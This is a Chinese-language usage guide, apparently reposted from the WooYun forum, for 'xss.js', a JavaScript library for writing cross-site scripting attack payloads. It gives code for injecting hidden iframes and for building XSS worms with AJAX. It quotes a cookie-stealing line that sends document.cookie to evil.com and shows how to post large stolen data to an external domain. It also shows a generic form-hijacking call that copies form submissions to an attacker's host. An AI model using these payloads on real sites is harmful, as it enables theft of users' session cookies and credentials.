xss.js 是一个用于xss攻击时的基础js库,方便简化与通用化攻击代码.

更新地址 http://mmme.me/xss.js

使用xsser.me可以直接在项目中包含xss.js:

一.判断浏览器

xss.js中是使用dom特性来判断浏览器,用于针对不同浏览器写攻击payload时做方便判断.

使用方式:

if(xss.i.i){
  alert('当前是IE浏览器');
}else if(xss.i.c){
  alert('当前是Chrome浏览器');
}else if(xss.i.f){
  alert('当前是Firefox浏览器');
}else if(xss.i.o){
  alert('当前是Opera浏览器');
}else if(xss.i.s){
  alert('当前是Safari浏览器');
}

demo

二.容错取值

做跨窗体取值时,不是很清楚目标窗体是否为同源,例如盲打后台时后台的顶层窗口往往不是与漏洞触发页同域,这时候为了防止浏览器抛出异常影响后面代码执行,可以使用xss.e进行取值.

使用方式:

alert(xss.e('top.location.href'))//获取顶层窗体的地址

demo

三.判断是否为苹果手持设备

方便针对苹果设备进行攻击.

使用方式:

if(xss.apple){
  alert('我是苹果');
}else{
  alert('我是果黑');
}

demo

四.ready事件

由于一些xss攻击中需要操作dom,所以一般大家会将exp放在onload中,但onload有个问题就是会等到资源都加载完才会触发,会导致攻击的成功率降低,这时候就需要ready时间了,它会在dom加载完时被触发.

使用方式:

xss.ready(function(){
   alert(/hello sogili hehehe/);
})

demo

五.加载一段html代码

一般情况下我们需要在页面嵌入一个隐藏的页面一般会这么做:

var iframe=document.createElement('iframe');
iframe.src="http://mmme.me";
iframe.style.display="none";
document.body.appendChild(iframe);
//如果直接write可能会导致页面被重写

这时候我们可以用到xss.dom函数:

xss.dom("<iframe src=http://mmme.me>");//这里不用管标签闭合,因为是dom方式加载所以没有影响.

如果后面还需要操作这个iframe可以直接操作函数返回的dom节点:

var iframe=xss.dom("<iframe src=http://mmme.me>");
iframe.style.display='block';//让iframe显示出来,xss.dom默认是隐藏加载dom的

需要自动销毁的话可以在第二个参数指定时间:

xss.dom("<iframe src=http://mmme.me>",3);//3秒后自动销毁

demo

六.简单的AJAX

ajax在xss蠕虫攻击中是一个经常被使用的东西,但由于浏览器历史原因导致ajax变的略复杂,所以经常能看到一些蠕虫使用的网络广泛流传的"问题"代码,xss.ajax函数把ajax的复杂性和问题都做了处理,用起来会很方便.

GET请求:

xss.ajax('/delete?id=1')//只发送了一个请求

如果需要获得响应内容:

xss.ajax('/delete?id=1',function(){
alert(this.responseText)
})

如果第二个参数不是函数体则会认为是个POST请求:

xss.ajax('/delete','id=1',function(){
alert(this.responseText)
})

demo

七.大数据偷取

一般我们窃取cookie都会使用new Image().src='http://evil.com?cookie='+document.cookie这种方式,但这有个问题就是url有长度限制,如果太长则会导致数据丢失.xss.js解决方案是用表单方式post提交到外域,CORS方式由于兼容性和各种毛病,所以没有考虑.

使用方式:

xss.najax('http://www.baidu.com',{xss:'xsssss'})

如果没有第二个参数则会发送get请求

xss.najax('http://www.baidu.com')//等同于new Image().src='...'

demo

八.通用表单劫持

表单劫持通常是个比较麻烦的模块,可以看看《来吧,技术挑战,搞起!!》上有各种劫持技巧,但都太麻烦了,且不通用.

xss.js的思路是"提交两次",第一次是提交到劫持的地址,第二次是提交到正常地址,这样即便有文件上传也可以劫持到.

使用方式:

xss.xform(document.forms['formEdit'],'http://mmme.me');//将formEdit表单劫持到劫持到mmme.me

demo

//持续更新中...精彩在后面

转自:http://zone.wooyun.org/content/2113